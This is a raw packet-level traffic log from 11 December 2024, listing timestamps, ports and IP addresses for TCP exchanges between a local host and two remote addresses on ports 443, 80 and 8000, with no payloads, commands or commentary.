Dec 11, 2024 12:30:44.786870003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.787373066 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.787396908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.787715912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.787715912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.787729025 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.788096905 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.788517952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.788539886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.788680077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.788680077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.788862944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.788871050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.789052963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.789052963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.789344072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.789367914 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.789561033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.789585114 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.789741993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.789937019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.790507078 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.790529013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.790693045 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.790693045 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.790852070 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.790852070 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.790863991 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.791063070 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.791063070 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.791369915 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.791397095 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.791615009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.791795969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.791815042 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.792215109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.792234898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.792257071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.792392969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.792622089 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.792634010 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.793001890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.793339968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.793363094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.793523073 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.793538094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.793708086 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.793708086 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.793708086 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.794147015 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.794168949 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.794337034 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.794512033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.794512033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.794528961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.794699907 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.795593023 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.795635939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.795766115 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.795819044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.795978069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.795993090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.796216965 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.796420097 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.796462059 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.796765089 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.796777964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.796953917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.797147989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.797399998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.797444105 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.797584057 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.797765017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.797765017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.797765017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.797765017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.797784090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.798120975 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.798424006 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.798466921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.798770905 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.798782110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.798959970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.799505949 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.799530983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.799913883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.799930096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.800266027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.800549984 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.800575018 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.800822020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.800831079 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.801002979 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.801554918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.801582098 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.801623106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.801911116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.801911116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.801923990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.802175999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.802581072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.802623987 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.802742958 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.802742958 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.802926064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.802926064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.802937984 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.803118944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.803900003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.803925037 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.804224014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.804224014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.804224014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.804224014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.804245949 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.804512024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.804971933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.804996967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.805510998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.805530071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.805763006 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.805792093 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.805888891 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.805910110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.805972099 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.806058884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.806058884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.806058884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.807005882 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.807045937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.807354927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.807354927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.807375908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.807543039 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.808130026 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.808168888 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.808479071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.808479071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.808479071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.808480024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.808496952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.808666945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.808942080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.808975935 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.809134007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.809134007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.809149981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.809436083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.809436083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.809842110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.809876919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.810009003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.810187101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.810187101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.810187101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.810188055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.810216904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.810415983 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.810817003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.810859919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.811017990 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.811017990 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.811017990 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.811043978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.811121941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.811121941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.811300993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.811765909 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.811809063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.812042952 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.812042952 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.812060118 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.812232018 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.812279940 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.813112020 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.813155890 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.813338995 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.813366890 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.813524008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.813704967 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.813947916 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.813991070 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.814114094 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.814318895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.814318895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.814341068 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.814661026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.814841032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.814887047 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.815184116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.815206051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.815570116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.815968037 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.816009998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.816133976 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.816313982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.816313982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.816324949 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.816551924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.816808939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.816837072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.817152977 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.817163944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.817342997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.817342997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.817787886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.817831993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.817969084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.818017006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.818197012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.818216085 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.818408966 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.818950891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.818996906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.819130898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.819180012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.819336891 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.819348097 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.819576979 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.820131063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.820163965 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.820477009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.820477962 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.820497036 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.820858002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.820878983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.820907116 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.821042061 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.821275949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.821275949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.821285963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.821500063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.821579933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.821674109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.821968079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.822099924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.822124004 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:51.482151985 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:51.696592093 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:51.696755886 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:51.697331905 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:51.973031044 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:52.466728926 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:52.467053890 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:52.738993883 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:55.980773926 CET	49766	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:56.195763111 CET	8000	49766	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:56.195965052 CET	49766	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:56.196176052 CET	49766	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:56.468833923 CET	8000	49766	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:56.939903021 CET	8000	49766	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:56.940375090 CET	49766	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:56.940918922 CET	49767	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:57.155284882 CET	8000	49766	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:57.155512094 CET	49766	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:57.156486988 CET	8000	49767	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:57.156781912 CET	49767	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:57.156902075 CET	49767	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:57.156955004 CET	49767	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:57.156955004 CET	49767	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:57.372606039 CET	8000	49767	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:57.372613907 CET	8000	49767	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:57.936518908 CET	8000	49767	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:57.936881065 CET	49767	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:30:58.152683020 CET	8000	49767	23.88.71.29	192.168.11.30
Dec 11, 2024 12:30:58.152929068 CET	49767	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:03.084203005 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:03.355976105 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:03.599600077 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:03.871745110 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:04.115149975 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:04.387532949 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:04.630700111 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:04.903150082 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:05.146163940 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:05.422228098 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:05.661655903 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:05.918965101 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:06.177274942 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:06.450231075 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:14.956463099 CET	49761	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:15.071458101 CET	80	49761	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:15.071741104 CET	49761	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:22.470393896 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:22.734103918 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:22.897708893 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:22.938982010 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:23.189016104 CET	49765	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:31:23.452778101 CET	8000	49765	23.88.71.29	192.168.11.30
Dec 11, 2024 12:31:27.351613998 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:27.351640940 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:27.351804018 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:27.351995945 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:27.352004051 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:27.584805012 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:27.585421085 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:27.585426092 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:27.585761070 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:27.585762978 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.223438025 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.223503113 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.223527908 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.223583937 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.223746061 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.223747969 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.223766088 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.223864079 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.223928928 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.224004984 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.224126101 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.224181890 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.224298954 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.224314928 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.224385977 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.224678040 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.224709988 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.224767923 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.224824905 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.224838972 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.224921942 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.225014925 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.225557089 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.225605965 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.225692034 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.225708008 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.225714922 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.225903034 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.225910902 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.226670027 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.226711988 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.226849079 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.226865053 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.227066040 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.227132082 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.227467060 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.227576017 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.227624893 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.227716923 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.227731943 CET	443	49768	172.67.128.139	192.168.11.30
